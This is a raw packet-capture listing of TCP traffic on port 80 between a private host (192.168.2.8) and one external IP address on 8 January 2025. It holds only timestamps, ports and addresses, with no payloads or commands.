Jan 8, 2025 09:42:33.673454046 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673455954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673469067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673480988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673491955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673491955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673501968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673518896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673526049 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673544884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673557043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673558950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673578978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673582077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673595905 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673609972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673633099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673633099 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673645020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673657894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673662901 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673676968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673686981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673686028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673702955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673726082 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673728943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673739910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673746109 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673751116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673758030 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673764944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673779011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673791885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673791885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673804998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673811913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673818111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673829079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673835993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673837900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673855066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673856020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673868895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673871994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673883915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673892975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673906088 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673909903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673917055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673938036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673945904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673950911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673974991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673981905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673989058 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673996925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674016953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674017906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674031019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674040079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674052000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674058914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674072027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674076080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674091101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674093962 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674107075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674110889 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674120903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674124956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674135923 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674139977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674154043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674158096 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674174070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674179077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674189091 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674195051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674213886 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674216986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674233913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674238920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674252987 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674263000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674268007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674277067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674280882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674293041 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674294949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674310923 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674335003 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674361944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674375057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674393892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674397945 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674411058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674411058 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674424887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674429893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674447060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674452066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674462080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674478054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674483061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674504042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674510956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674518108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674530983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674541950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674554110 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674556971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674570084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674582005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674586058 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674601078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674602985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674618006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674628973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674633980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674649000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674658060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674663067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674676895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674680948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674690962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674704075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.674707890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674730062 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.674758911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696141958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696155071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696166992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696192980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696209908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696232080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696234941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696249962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696264982 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696274042 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696280003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696294069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696302891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696317911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696320057 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696345091 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696361065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696367979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696377039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696396112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696405888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696444988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696460009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696481943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696499109 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.696532011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.696567059 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.758771896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758801937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758807898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758815050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758821964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758848906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758855104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758867025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758904934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.758904934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.758919954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758928061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758934021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.758949041 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.758996010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.759021044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759033918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759053946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759059906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759067059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759073019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759083033 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.759119034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.759119034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.759157896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759167910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759182930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759188890 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759196997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.759238958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.759238958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763690948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763711929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763731956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763741016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763746977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763758898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763772011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763772011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763786077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763812065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763832092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763842106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763858080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763870001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763875961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763875961 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763907909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763909101 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763925076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763931990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763937950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.763942957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763942957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763966084 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.763994932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764077902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764087915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764094114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764100075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764106989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764115095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764125109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764127016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764142036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764152050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764153957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764162064 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764216900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764216900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764225960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764234066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764245987 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764252901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764264107 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764276028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764334917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764348030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764355898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764368057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764388084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764384985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764400959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764406919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764415026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764422894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764426947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764435053 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764447927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764471054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764482975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764484882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764498949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764504910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764549971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764553070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764553070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764563084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764584064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764591932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764597893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764599085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764605999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764609098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764640093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764642000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764650106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764657974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764657974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764679909 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764683962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764703035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764704943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764719009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764753103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764753103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764769077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764902115 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764914036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764921904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764940023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764949083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764951944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764959097 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764966965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764969110 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.764972925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764981031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764987946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.764997005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765011072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765018940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765019894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765019894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765032053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765038013 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765062094 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765070915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765079021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765084028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765085936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765090942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765121937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765125990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765130043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765140057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765146017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765160084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765161037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765161037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765197039 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765248060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765255928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765264034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765269041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765275002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.765311003 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765311003 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.765341997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.786791086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786798954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786823988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786830902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786844015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786865950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786865950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.786874056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786906958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.786906958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.786922932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.786969900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.829818964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.829833031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.829839945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.829849005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.829859018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.829865932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.829871893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.829898119 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.829936028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.849244118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.849267960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.849282026 CET	80	49708	176.113.115.19	192.168.2.8
